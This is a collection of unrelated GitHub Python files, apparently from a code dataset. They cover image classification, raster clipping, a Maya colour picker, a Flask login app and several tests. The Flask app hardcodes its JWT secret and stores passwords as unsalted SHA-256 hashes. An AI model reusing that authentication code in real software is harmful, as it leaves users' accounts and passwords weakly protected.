transform=None):\r\n super().__init__()\r\n self.df = df_data.values\r\n self.data_dir = data_dir\r\n self.transform = transform\r\n\r\n def __len__(self):\r\n return len(self.df)\r\n \r\n def __getitem__(self, index):\r\n img_name,label = self.df[index]\r\n img_path = os.path.join(self.data_dir, img_name)\r\n image = cv2.imread(img_path)\r\n if self.transform is not None:\r\n image = self.transform(image)\r\n return image, label\r\n\r\ntransforms_train = transforms.Compose([\r\n transforms.ToPILImage(),\r\n transforms.Resize((150,150)),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.RandomRotation(10),\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\r\n])\r\n\r\n\r\ntrain_data = CreateDataset(df_data=train_df, data_dir=train_path, transform=transforms_train)\r\n\r\n\r\nbatch_size = 16\r\n\r\n# Percentage of training set to use as validation\r\nvalid_size = 0.2\r\n\r\n# obtain training indices that will be used for validation\r\nnum_train = len(train_data)\r\nindices = list(range(num_train))\r\nnp.random.shuffle(indices)\r\nsplit = int(np.floor(valid_size * num_train))\r\ntrain_idx, valid_idx = indices[split:], indices[:split]\r\n\r\n# Create Samplers\r\ntrain_sampler = SubsetRandomSampler(train_idx)\r\nvalid_sampler = SubsetRandomSampler(valid_idx)\r\n\r\n# prepare data loaders (combine dataset and sampler)\r\n\r\ntrain_loader = DataLoader(train_data, batch_size=batch_size, sampler=train_sampler)\r\nvalid_loader = DataLoader(train_data, batch_size=batch_size, sampler=valid_sampler)\r\n'''\r\ntransforms_test = transforms.Compose([\r\n transforms.ToPILImage(),\r\n transforms.ToTensor(),\r\n transforms.Resize((32,32)),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\r\n])\r\n\r\n# creating test data\r\nsample_sub = pd.read_csv(\"data/Images/sample_submission.csv\")\r\ntest_data = CreateDataset(df_data=sample_sub, data_dir=test_path, transform=transforms_test)\r\n\r\n# prepare the test loader\r\ntest_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False)\r\n'''\r\nclasses = [ 'No Photoshop','Photoshop']\r\ndef imshow(img):\r\n '''Helper function to un-normalize and display an image'''\r\n # unnormalize\r\n img = img / 2 + 0.5\r\n # convert from Tensor image and display\r\n plt.imshow(np.transpose(img, (1, 2, 0)))\r\n# obtain one batch of training images\r\ndataiter = iter(train_loader)\r\nimages, labels = dataiter.next()\r\nimages = images.numpy() # convert images to numpy for display\r\n\r\n# plot the images in the batch, along with the corresponding labels\r\nfig = plt.figure(figsize=(25, 4))\r\n# display 20 images\r\nfor idx in np.arange(15):\r\n ax = fig.add_subplot(2, 20/2, idx+1, xticks=[], yticks=[])\r\n imshow(images[idx])\r\n ax.set_title(classes[labels[idx]])\r\n#plt.show()\r\n\r\n\r\n\r\nclass CNN(nn.Module):\r\n def __init__(self):\r\n super(CNN, self).__init__()\r\n # Convolutional Layer (sees 32x32x3 image tensor) \r\n self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)\r\n # Convolutional Layer (sees 16x16x16 image tensor)\r\n self.conv2 = nn.Conv2d(16, 32, 3, padding=1)\r\n # Convolutional Layer (sees 8x8x32 image tensor)\r\n self.conv3 = nn.Conv2d(32, 64, 3, padding=1)\r\n # Convolutional Layer (sees 4*4*64 image tensor)\r\n self.conv4 = nn.Conv2d(64, 128, 3, padding=1)\r\n # Maxpooling Layer\r\n self.pool = nn.MaxPool2d(2, 2)\r\n # Linear Fully-Connected Layer 1 (sees 2*2*128 image tensor)\r\n self.fc1 = nn.Linear(128*9*9, 512)\r\n # Linear FC Layer 2\r\n self.fc2 = nn.Linear(512, 2)\r\n # Set Dropout\r\n self.dropout = nn.Dropout(0.2) #([64, 128, 9, 9])\r\n # Set Sigmoid\r\n self.sig=nn.Sigmoid()\r\n \r\n def forward(self, x):\r\n # add sequence of convolutional and max pooling layers\r\n x = self.pool(F.relu(self.conv1(x)))\r\n x = self.pool(F.relu(self.conv2(x)))\r\n x = self.pool(F.relu(self.conv3(x)))\r\n x = self.pool(F.relu(self.conv4(x)))\r\n # flatten image input\r\n x = x.view(-1, 128 * 9 * 9)\r\n # add dropout layer\r\n x = self.dropout(x)\r\n # add 1st hidden layer, with relu activation function\r\n x = F.relu(self.fc1(x))\r\n # add dropout layer\r\n x = self.dropout(x)\r\n # add 2nd hidden layer, with relu activation function\r\n x = self.fc2(x)\r\n # sigmoid to squash\r\n return x\r\n\r\n # check if CUDA is available\r\ntrain_on_gpu = torch.cuda.is_available()\r\n\r\nif not train_on_gpu:\r\n print('CUDA is not available. Training on CPU ...')\r\nelse:\r\n print('CUDA is available! Training on GPU ...')\r\n\r\n# create a complete CNN\r\nmodel = CNN()\r\nprint(model)\r\n\r\n# Move model to GPU if available\r\nif train_on_gpu: model.cuda()\r\n\r\n# specify loss function (categorical cross-entropy loss)\r\ncriterion = nn.CrossEntropyLoss()\r\n\r\n# specify optimizer\r\noptimizer = optim.Adamax(model.parameters(), lr=0.001)\r\n\r\n# number of epochs to train the model\r\nn_epochs = 50\r\n\r\nvalid_loss_min = np.Inf # track change in validation loss\r\n\r\n# keeping track of losses as it happen\r\ntrain_losses = []\r\nvalid_losses = []\r\nnot_learning=0\r\n\r\nfor epoch in range(1, n_epochs+1):\r\n\r\n # keep track of training and validation loss\r\n train_loss = 0.0\r\n valid_loss = 0.0\r\n \r\n ###################\r\n # train the model #\r\n ###################\r\n model.train()\r\n for data, target in train_loader:\r\n # move tensors to GPU if CUDA is available\r\n if train_on_gpu:\r\n data, target = data.cuda(), target.cuda()\r\n # clear the gradients of all optimized variables\r\n optimizer.zero_grad()\r\n # forward pass: compute predicted outputs by passing inputs to the model\r\n output = model(data)\r\n # calculate the batch loss\r\n loss = criterion(output, target)\r\n # backward pass: compute gradient of the loss with respect to model parameters\r\n loss.backward()\r\n # perform a single optimization step (parameter update)\r\n optimizer.step()\r\n # update training loss\r\n train_loss += loss.item()*data.size(0)\r\n \r\n ###################### \r\n # validate the model #\r\n ######################\r\n model.eval()\r\n for data, target in valid_loader:\r\n # move tensors to GPU if CUDA is available\r\n if train_on_gpu:\r\n data, target = data.cuda(), target.cuda()\r\n # forward pass: compute predicted outputs by passing inputs to the model\r\n output = model(data)\r\n # calculate the batch loss\r\n loss = criterion(output, target)\r\n # update average validation loss \r\n valid_loss += loss.item()*data.size(0)\r\n \r\n # calculate average losses\r\n train_loss = train_loss/len(train_loader.sampler)\r\n valid_loss = valid_loss/len(valid_loader.sampler)\r\n train_losses.append(train_loss)\r\n valid_losses.append(valid_loss)\r\n \r\n # print training/validation statistics \r\n print('Epoch: {} \\tTraining Loss: {:.6f} \\tValidation Loss: {:.6f}'.format(\r\n epoch, train_loss, valid_loss))\r\n \r\n # save model if validation loss has decreased\r\n if valid_loss <= valid_loss_min:\r\n print('Validation loss decreased ({:.6f} --> {:.6f}). Saving model ...'.format(\r\n valid_loss_min,\r\n valid_loss))\r\n torch.save(model.state_dict(), './data/best_model.pt')\r\n valid_loss_min = valid_loss\r\n not_learning=0\r\n else:\r\n not_learning+=1\r\n if not_learning==3:\r\n break\r\nplt.plot(train_losses, label='Training loss')\r\nplt.plot(valid_losses, label='Validation loss')\r\nplt.xlabel(\"Epochs\")\r\nplt.ylabel(\"Loss\")\r\nplt.legend(frameon=False)\r\n\r\n","repo_name":"aka5hkumar/photoshopclassify","sub_path":"PyTorch/njord/torchClassify.py","file_name":"torchClassify.py","file_ext":"py","file_size_in_byte":8640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24352453100","text":"import numpy as np\nimport pandas as pd\nimport rasterio as rio\nimport affine\n\n#class to manage image clipping(need image address and entity-row-column dataset,band_no to proceed)\nclass ClipImage:\n\n # Get band, band shape, dtype, crs and transform values\n def __init__(self, image_address,df,bandNo):\n with rio.open(image_address, 'r') as f:\n self.band = f.read(bandNo)\n self.crs = f.crs\n self.b_trans = f.transform\n self.bNo = bandNo\n self.dataset=df\n self.r = df.iloc[:,1]\n self.c = df.iloc[:,2]\n self.entity = df.iloc[:,0]\n self.Ttype = df.iloc[:,3]\n self.band_shape = self.band.shape\n self.band_dtype = self.band.dtype\n self.clipped_images = []\n self.clipped_addresses = []\n\n # Function for clipping band\n def clip_raster(self, height, width, buffer=0,\n save_mode=False, prefix='clipped_band_', \n pass_empty=False):\n height = height/2\n width = width/2\n for i in range(0,len(self.dataset)):\n r_pos = self.r[i]\n col_pos = self.c[i]\n xmin = int(r_pos-height)\n xmax = int(r_pos+height)\n ymin = int(col_pos-width)\n ymax = int(col_pos+width) \n clipped_image = self.band[xmin:xmax,ymin:ymax]\n\n # Check if frame is empty\n if pass_empty:\n if np.mean(clipped_image) == 0:\n print('Empty frame, not saved')\n break\n\n # Positioning\n tcol, trow = self.b_trans*(col_pos-width, r_pos-height)\n new_transform = affine.Affine(self.b_trans[0], \n self.b_trans[1],\n tcol,\n self.b_trans[3], \n self.b_trans[4], \n trow)\n image = [clipped_image, self.crs, new_transform,\n clipped_image.shape[0], \n clipped_image.shape[1],\n self.band_dtype]\n\n # Save or append into a set\n if save_mode:\n filename = prefix + f\"{self.Ttype[i]}_{self.entity[i]}_{i+1}_b_{self.bNo}.tif\"\n\n with rio.open(filename, 'w',\n driver='GTiff',\n height=image[3], width=image[4],\n count=1, dtype=image[5],\n crs=image[1],\n transform=image[2]) as dst:\n dst.write(image[0], 1)\n self.clipped_addresses.append(filename)\n else:\n self.clipped_images.append(clipped_image)\n\n if save_mode:\n print('Tiles saved successfully')\n return self.clipped_addresses\n else:\n print('Tiles prepared successfully')\n return self.clipped_images\n\n#create entity-row-col dataframe using csv file\ndata = pd.read_csv(\"points.csv\")\ndata = data[['entity','Row','Col','type']]\nprint('Preview of the imported dataset\\n\\n',data.head(),'\\n')\n\n#executing the method created\npath = 'Cropped/Cropped1.tif'\nfor no in range(1,5):\n clipper = ClipImage(image_address=path,df=data,bandNo=no)\n clipper.clip_raster(height=20,\n width=20,\n buffer=0,\n save_mode=True,\n prefix=\"samples/\",\n pass_empty=False)","repo_name":"AnupaKulathunga/Tree_Classification","sub_path":"1_clipSamples.py","file_name":"1_clipSamples.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23327479706","text":"\n\nfrom Repository import LoanedBooksRepository\nimport datetime as dt\n\nclass LoanedBook:\n def __init__(self, loanedBook_id):\n book = LoanedBooksRepository.getLoanedBook(loanedBook_id)\n \n if isinstance(loanedBook_id, str):\n loanedBook_id = int(loanedBook_id) \n self.Id = loanedBook_id\n self.Id_book = book['id_book']\n self.Id_subscriber = book['id_subscriber']\n self.Returned = book['returned']\n self.DateRented = book['dateRented']\n self.DateReturned = book['dateReturned']\n\n @staticmethod\n def AddLoanedBook(id_book, id_subscriber):\n loanedBookToAdd = { \"id_book\" : id_book, \"id_subscriber\" : id_subscriber, \"returned\" : False, \"dateRented\": str(dt.datetime.now()), \"dateReturned\": \"\"}\n newLoanedBookId = LoanedBooksRepository.addBookToJsonAndReturnId(loanedBookToAdd) \n\n return LoanedBook(newLoanedBookId)\n\n def ReturnLoanedBook(self):\n self.Returned = True\n self.DateReturned = str(dt.datetime.now())\n loanedBookToReturn = { \"id_book\" : self.Id_book, \"id_subscriber\" : self.Id_subscriber, \"returned\" : True, \"dateRented\": self.DateRented, \"dateReturned\": self.DateReturned}\n LoanedBooksRepository.returnBook(self.Id, loanedBookToReturn)\n\n return self","repo_name":"LeroyJenkinss/analyse-PLS","sub_path":"Objects/LoanBooksObject.py","file_name":"LoanBooksObject.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20742712444","text":"import streamlit as st\n\nfrom deploy_initializer import execute_retrieve, add_person, get_peoples\n\nif st.button(\"Retrieve Fav Number\"):\n result = execute_retrieve()\n st.write(\"Retrieved Fav number!\")\n st.write(result)\n\nform = st.form(key=\"add_person\")\nperson_name = form.text_input(\"Enter Person Name\", value=\"\")\nperson_fav_number = form.text_input(\"Enter Fav Number\", value=\"\")\nsubmit = form.form_submit_button(\"Add\")\nif submit:\n add_person(person_name, person_fav_number)\n form.empty()\n person_name = \"\"\n person_fav_number = \"\"\n\nif st.button(\"Get All Persons\"):\n st.write(\"List of People And Fav number\")\n st.write(get_peoples())\n","repo_name":"seshuthota/Web3_Simple_Storage","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8935094697","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass TellUsYourNeedManager(models.Manager):\n def delete_all(self):\n items = TellUsYourNeed.objects.all()\n for item in items.all():\n item.delete()\n\n\nclass TellUsYourNeed(models.Model):\n class Meta:\n app_label = 'foundation_tenant'\n db_table = 'smeg_tell_us_your_needs'\n verbose_name = _('Tell Us Your Need')\n verbose_name_plural = _('Tell Us Your Needs')\n\n objects = TellUsYourNeedManager()\n owner = models.OneToOneField(\n User,\n help_text=_('The user whom owns this thing.'),\n on_delete=models.CASCADE,\n )\n needs_financial_management = models.BooleanField(\n _(\"Needs Financial Management\"),\n default=False,\n blank=True,\n )\n needs_sales = models.BooleanField(\n _(\"Needs Sales\"),\n default=False,\n blank=True,\n )\n needs_social_media = models.BooleanField(\n _(\"Needs Social Media\"),\n default=False,\n blank=True,\n )\n needs_other = models.BooleanField(\n _(\"Needs Other\"),\n default=False,\n help_text=_('Indicates if we have other reasons.'),\n blank=True,\n )\n other = models.CharField(\n _(\"Other\"),\n max_length=255,\n help_text=_('The text field for other.'),\n blank=True,\n null=True,\n default='',\n )\n\n def __str__(self):\n return str(self.id)\n","repo_name":"smegurus/smegurus-django","sub_path":"foundation_tenant/models/base/tellusyourneed.py","file_name":"tellusyourneed.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40734644429","text":"# coding:utf-8\n# 自定义颜色按钮(使用maya的颜色选择窗口)\nfrom functools import partial\nfrom PySide2 import QtCore\nfrom PySide2 import QtWidgets\nfrom PySide2 import QtGui\nfrom shiboken2 import wrapInstance\nimport maya.OpenMayaUI as omui\nimport maya.cmds as cmds\n\n\ndef maya_main_window():\n main_window_ptr = omui.MQtUtil.mainWindow()\n return wrapInstance(long(main_window_ptr), QtWidgets.QWidget)\n\nclass CustomColorButton(QtWidgets.QWidget): # 自定义颜色按钮\n\n color_changed = QtCore.Signal(QtGui.QColor) # 自定义信号\n\n def __init__(self, color=QtCore.Qt.white, parent=None): # 表示可以类接收一个颜色参数,默认是白色\n super(CustomColorButton, self).__init__(parent)\n\n self.setObjectName(\"CustomColorButton\")\n\n self.create_control()\n\n self.set_size(50, 14)\n self.set_color(color) # 设置初始颜色,如果对象有传过来颜色设置则为对象的颜色\n\n def create_control(self):\n \"\"\" 1. 创建colorSliderGrp \"\"\"\n window = cmds.window()\n self._name = cmds.colorSliderGrp()\n # print(\"original name: {0}\".format(self._name))\n\n \"\"\" 2. 找到colorSliderGrp控件 \"\"\"\n color_slider_obj = omui.MQtUtil.findControl(self._name) # color_slider_obj是一个c++的形式\n if color_slider_obj:\n self._color_slider_widget = wrapInstance(long(color_slider_obj), QtWidgets.QWidget)\n \n \"\"\" 3. 将colorSliderGrp控件的父级设置为这个自定义控件 \"\"\"\n main_layout = QtWidgets.QVBoxLayout(self)\n main_layout.setObjectName(\"main_layout\")\n main_layout.setContentsMargins(0, 0, 0, 0)\n main_layout.addWidget(self._color_slider_widget)\n\n \"\"\" 4. 更新colorSliderGrp的control name (之前是属于maya的) \"\"\"\n self._name = self._color_slider_widget.objectName()\n # print(\"new name: {0}\".format(self._name))\n\n \"\"\" 5. 识别或存储 colorSliderGrp的子控件(在必要的时候可以隐藏它) \"\"\"\n # children = self._color_slider_widget.children()\n # for child in children:\n # print(child)\n # print(child.objectName())\n # print(\"---\")\n\n self._slider_widget = self._color_slider_widget.findChild(QtWidgets.QWidget, \"slider\")\n if self._slider_widget:\n self._slider_widget.hide()\n \n self._color_widget = self._color_slider_widget.findChild(QtWidgets.QWidget, \"port\")\n\n cmds.colorSliderGrp(self._name, e=True, changeCommand=partial(self.on_color_changed))\n\n cmds.deleteUI(window, window=True)\n \n \n def set_size(self, width, height):\n self._color_slider_widget.setFixedWidth(width)\n self._color_widget.setFixedHeight(height)\n \n def set_color(self, color):\n color = QtGui.QColor(color)\n\n if color != self.get_color():\n cmds.colorSliderGrp(self._name, e=True, rgbValue=(color.redF(), color.greenF(), color.blueF())) # F代表以浮点数表示\n self.on_color_changed()\n \n def get_color(self):\n color = cmds.colorSliderGrp(self._name, q=True, rgbValue=True)\n\n color = QtGui.QColor(color[0] *255, color[1] * 255, color[2] * 255)\n return color\n \n def on_color_changed(self, *args):\n self.color_changed.emit(self.get_color())\n\nclass TestDialog(QtWidgets.QDialog):\n\n WINDOW_TITLE = \"Embedding Maya Controls\"\n\n def __init__(self, parent=maya_main_window()):\n super(TestDialog, self).__init__(parent)\n \n self.setWindowTitle(self.WINDOW_TITLE)\n self.setMinimumSize(320, 150)\n self.setWindowFlags(QtCore.Qt.WindowType.Window)\n window_name = \"WindowName\"\n if cmds.window(window_name, exists=True):\n cmds.deleteUI(window_name, window=True)\n self.setObjectName(window_name)\n\n self.foreground_color = QtCore.Qt.white\n self.background_color = QtCore.Qt.black\n\n self.create_widgets()\n self.create_layouts()\n self.create_connections()\n\n def create_widgets(self):\n \"\"\" 控件 \"\"\"\n self.foreground_color_btn = CustomColorButton(QtCore.Qt.white) # 自定义的颜色按钮\n self.background_color_btn = CustomColorButton(QtCore.Qt.black) # 自定义的颜色按钮\n\n self.close_btn = QtWidgets.QPushButton(\"Close\")\n\n def create_layouts(self):\n \"\"\" 布局 \"\"\"\n color_layout = QtWidgets.QFormLayout()\n color_layout.addRow(\"Foreground:\", self.foreground_color_btn)\n color_layout.addRow(\"Background:\", self.background_color_btn)\n\n color_grp = QtWidgets.QGroupBox(\"Color Options\")\n color_grp.setObjectName(\"colorGrp\")\n color_grp.setLayout(color_layout)\n\n button_layout = QtWidgets.QHBoxLayout()\n button_layout.setSpacing(2)\n button_layout.addStretch()\n button_layout.addWidget(self.close_btn)\n\n main_layout = QtWidgets.QVBoxLayout(self)\n main_layout.setContentsMargins(4, 4, 4, 4)\n main_layout.addWidget(color_grp)\n main_layout.addStretch()\n main_layout.addLayout(button_layout)\n \n def create_connections(self):\n \"\"\" 信号与槽的连接 \"\"\"\n self.foreground_color_btn.color_changed.connect(self.on_foreground_color_changed)\n self.background_color_btn.color_changed.connect(self.on_background_color_changed)\n\n self.close_btn.clicked.connect(self.close)\n \n def on_foreground_color_changed(self, new_color):\n print(\"New foreground color: ({0}, {1}, {2})\".format(new_color.red(), new_color.green(), new_color.blue()))\n \n def on_background_color_changed(self, new_color):\n print(\"New background color: ({0}, {1}, {2})\".format(new_color.red(), new_color.green(), new_color.blue()))\n\nif __name__ == '__main__':\n try:\n ui.close()\n ui.deleteLater()\n except:\n pass\n ui = TestDialog()\n ui.show()\n","repo_name":"violet-chen/pyside2_for_maya","sub_path":"embedding_maya_controls.py","file_name":"embedding_maya_controls.py","file_ext":"py","file_size_in_byte":6008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3556910322","text":"import os\nfrom azure_devtools.perfstress_tests import PerfStressTest\nfrom azure.core.credentials import AzureKeyCredential\nfrom azure.ai.formrecognizer import DocumentModelAdministrationClient\nfrom azure.ai.formrecognizer.aio import DocumentModelAdministrationClient as AsyncDocumentModelAdministrationClient\n\nclass BuildModelRequestPreparation(PerfStressTest): \n\n def __init__(self, arguments):\n super().__init__(arguments)\n\n # read test related env vars\n self.formrecognizer_storage_container_sas_url = os.environ[\"FORMRECOGNIZER_TRAINING_DATA_CONTAINER_SAS_URL\"]\n formrecognizer_test_endpoint = os.environ[\"FORMRECOGNIZER_TEST_ENDPOINT\"]\n form_recognizer_account_key = os.environ[\"FORMRECOGNIZER_TEST_API_KEY\"]\n\n # assign the clients that will be used in the perf tests\n self.admin_client = DocumentModelAdministrationClient(formrecognizer_test_endpoint, AzureKeyCredential(form_recognizer_account_key))\n self.async_admin_client = AsyncDocumentModelAdministrationClient(formrecognizer_test_endpoint, AzureKeyCredential(form_recognizer_account_key))\n\n async def close(self):\n \"\"\"This is run after cleanup.\"\"\"\n await self.async_admin_client.close()\n self.admin_client.close()\n await super().close()\n\n def run_sync(self):\n \"\"\"The synchronous perf test.\"\"\"\n poller = self.admin_client.begin_build_document_model(\"template\", blob_container_url=self.formrecognizer_storage_container_sas_url)\n assert poller\n\n async def run_async(self):\n \"\"\"The asynchronous perf test.\"\"\"\n poller = await self.async_admin_client.begin_build_document_model(\"template\", blob_container_url=self.formrecognizer_storage_container_sas_url)\n assert poller\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/formrecognizer/azure-ai-formrecognizer/tests/perfstress_tests/perf_dmac_build_model_requests.py","file_name":"perf_dmac_build_model_requests.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"4634309248","text":"from flask import Flask, render_template, jsonify, request, session, redirect, url_for\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nimport certifi\nimport jwt\nimport datetime\nimport hashlib\n\napp = Flask(__name__)\n\nca = certifi.where()\nclient = MongoClient('몽고디비주소')\ndb = client.dbsparta\n\nSECRET_KEY = 'SPARTA'\n\n\n@app.route('/')\ndef home():\n token_receive = request.cookies.get('mytoken')\n try:\n payload = jwt.decode(token_receive, SECRET_KEY, algorithms=['HS256'])\n user_info = db.user.find_one({\"id\": payload['id']})\n return render_template('index.html', nickname=user_info[\"nick\"])\n except jwt.ExpiredSignatureError:\n return redirect(url_for(\"login\"))\n except jwt.exceptions.DecodeError:\n return redirect(url_for(\"login\"))\n\n\n@app.route('/login')\ndef login():\n msg = request.args.get(\"msg\")\n return render_template('login.html', msg=msg)\n\n\n@app.route('/register')\ndef register():\n return render_template('register.html')\n\n\n@app.route('/api/register', methods=['POST'])\ndef api_signup():\n id_receive = request.form['id_give']\n pw_receive = request.form['pw_give']\n nickname_receive = request.form['nickname_give']\n\n pw_hash = hashlib.sha256(pw_receive.encode('utf-8')).hexdigest()\n\n db.user.insert_one({'id': id_receive, 'pw': pw_hash, 'nick': nickname_receive})\n\n return jsonify({'result': 'success'})\n\n\n@app.route('/api/login', methods=['POST'])\ndef api_login():\n id_receive = request.form['id_give']\n pw_receive = request.form['pw_give']\n pw_hash = hashlib.sha256(pw_receive.encode('utf-8')).hexdigest()\n result = db.user.find_one({'id': id_receive, 'pw': pw_hash})\n\n if result is not None:\n payload = {\n 'id': id_receive,\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n }\n token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')\n return jsonify({'result': 'success', 'token': token})\n else:\n return jsonify({'result': 'fail', 'msg': '아이디/비밀번호가 일치하지 않습니다.'})\n\n\n@app.route('/api/nick', methods=['GET'])\ndef api_valid():\n token_receive = request.cookies.get('mytoken')\n try:\n payload = jwt.decode(token_receive, SECRET_KEY, algorithms=['HS256'])\n print(payload)\n userinfo = db.user.find_one({'id': payload['id']}, {'_id': 0})\n return jsonify({'result': 'success', 'nickname': userinfo['nick']})\n except jwt.ExpiredSignatureError:\n return jsonify({'result': 'fail'})\n except jwt.exceptions.DecodeError:\n return jsonify({'result': 'fail'})\n\n\n@app.route('/save', methods=['POST'])\ndef save_matches():\n url = 'https://radiokorea.com/event/pages/worldcup2022/matches.php'\n header = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}\n\n data = requests.get(url, headers=header)\n soup = BeautifulSoup(data.text, \"html.parser\")\n\n matches = soup.find_all(\"div\", {\"class\": \"group\"})\n \n\n for match in matches:\n group = match.find(\"h3\", {\"class\": \"group-title\"})\n\n if group is not None:\n leftcountry = match.find(\"div\", {\"class\": \"l-country\"}).text\n leftflag = match.find(\"div\", {\"class\": \"l-flag\"}).select('img')[0]['src']\n rightflag = match.find(\"div\", {\"class\": \"r-flag\"}).select('img')[0]['src']\n rightcountry = match.find(\"div\", {\"class\": \"r-country\"}).text\n time = match.find(\"div\", {\"class\": \"time\"}).text\n group = group.text\n\n count = list(db.world.find({}, {'_id': False}))\n num = len(count) + 1\n\n doc = {\n 'id': num,\n 'group': group,\n 'leftflag': leftflag,\n 'leftcountry': leftcountry,\n 'rightflag': rightflag,\n 'rightcountry': rightcountry,\n 'time': time,\n }\n db.world.insert_one(doc)\n\n\n@app.route('/show', methods=['GET'])\ndef show_matches():\n match_list = list(db.world.find({}, {'_id': False}))\n return jsonify({'matches': match_list})\n\n\n@app.route(\"/save/comment\", methods=[\"POST\"])\ndef save_comment():\n team_receive = request.form['team_give']\n title_receive = request.form['title_give']\n comment_receive = request.form['comment_give']\n option1_receive = request.form['option1_give']\n option2_receive = request.form['option2_give']\n order_receive = request.form['order_give']\n\n doc = {\n 'team': team_receive,\n 'title': title_receive,\n 'comment': comment_receive,\n 'option1': option1_receive,\n 'option2': option2_receive,\n 'order': order_receive,\n }\n\n db.comment.insert_one(doc)\n return jsonify({'msg': '댓글 완료!'})\n\n\n@app.route(\"/show/comment\", methods=[\"GET\"])\ndef show_comment():\n all_comments = list(db.comment.find({}, {'_id': False}))\n return jsonify({'comments': all_comments})\n\n\n@app.route(\"/show/detail\", methods=[\"GET\"])\ndef show_detail():\n id_receive = int(request.args.get('id'))\n match = db.world.find_one({'id': id_receive}, {'_id': False})\n return jsonify({'result': match})\n\n\n@app.route('/')\ndef get_path(path):\n return render_template(path + '.html')\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5002, debug=True)\n","repo_name":"QatarSis/Miniproject-Qatarsis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1923843731","text":"import numpy\nimport pylab\nimport spacepy\nimport datetime\nimport sys\nfrom spacepy import radbelt\n\n\n# radiation belt model\nrmod = radbelt.RBmodel()\n\n# Next, set the start time, end time, and the size of the timestep:\nstart = datetime.datetime(2002,10,23)\nend = datetime.datetime(2002,11,4)\n#start = datetime.datetime(2002,11,03)\n#end = datetime.datetime(2002,11,03,1,0)\ndelta = datetime.timedelta(hours=0.5)\nrmod.setup_ticks(start, end, delta, dtype='UTC')\nrmod.SRC_model = False\n\n# add PSD data\nrmod.add_PSD()\n\n# Now, run the model over the entire time range using the evolve method:\nrmod.evolve()\n\n# visualize the results of rmod\nrmod.plot(values=rmod.PSD,clims=[-10,-6],Lmax=False,Kp=False,Dst=False)\n\n# visualize data\nrmod.plot_obs(clims=[-10,-6],Lmax=False,Kp=False,Dst=False,title='Observations Plot')\n\nprint('==================================================')\nprint(' ASSIMILATING')\nprint('==================================================')\n\n# ASSIMILATE DATA\n# there are three different inflation methodologies within this data\n# assimilation scheme:\n#\n# inflation == 0: Add model error (perturbation for the ensemble)\n# around model state values only where observations are available.\n#\n# inflation == 1: Add model error (perturbation for the ensemble)\n# around observation values only where observations are available.\n#\n# inflation == 2: Inflate around ensemble average for EnKF.\nrmod.assimilate(inflation=0)\n\n# visualize the results\nrmod.plot(values=rmod.PSDa,clims=[-10,-6],Lmax=False,Kp=False,Dst=False)\n\npylab.show()\n","repo_name":"spacepy/spacepy","sub_path":"tests/enKF_test.py","file_name":"enKF_test.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":213,"dataset":"github-code","pt":"54"} +{"seq_id":"18261157917","text":"import unittest\nimport os\nfrom os.path import dirname\nimport sys\nimport json\n\nfrom mrjob.job import MRJob\nimport Geohash\n\nroot = dirname(dirname(dirname(dirname(os.path.abspath(__file__)))))\nsys.path.append(root)\n\nGEOTWEET_DIR = root\nDATA_DIR = os.path.join(root, 'data', 'geo')\nCOUNTIES_GEOJSON_LOCAL = os.path.join(DATA_DIR,'us_counties102005.geojson')\nos.environ['COUNTIES_GEOJSON_LOCAL'] = COUNTIES_GEOJSON_LOCAL\n\n# COUNTIES_GEOJSON_LOCAL environment variable must be set before import\nfrom geotweet.mapreduce.state_county_wordcount import StateCountyWordCountJob\nfrom geotweet.mapreduce.state_county_wordcount import GEOHASH_PRECISION\n\n\ndef build_input(text, desc=\"My Account\", lonlat=[-122.5, 45.4]):\n return dict(\n description=desc,\n text=text,\n lonlat=lonlat\n )\n\n\nclass MapperTweetTests(unittest.TestCase):\n\n def setUp(self):\n self.mr = StateCountyWordCountJob()\n self.mr.mapper_init()\n\n def test_valid_1(self):\n text = \"Foobar Foobaz\"\n out_words = [\"foobar\", \"foobaz\"]\n tweet = build_input(text)\n self.check_output((None, tweet), out_words)\n \n def test_valid_2(self):\n text = \"#Foobar Foobaz (random!!) Galaxy??\"\n out_words = [\"foobar\", \"foobaz\", \"random\", \"galaxy\"]\n tweet = build_input(text)\n self.check_output((None, tweet), out_words)\n \n def check_output(self, src, accept_words):\n try:\n mapper = self.mr.mapper(*src)\n while True:\n output = mapper.next()\n exists = any(output[0][0].startswith(word) for word in accept_words)\n error = \"Unexpected output tuple < {0} >\"\n self.assertTrue(exists, error.format(output))\n except StopIteration:\n 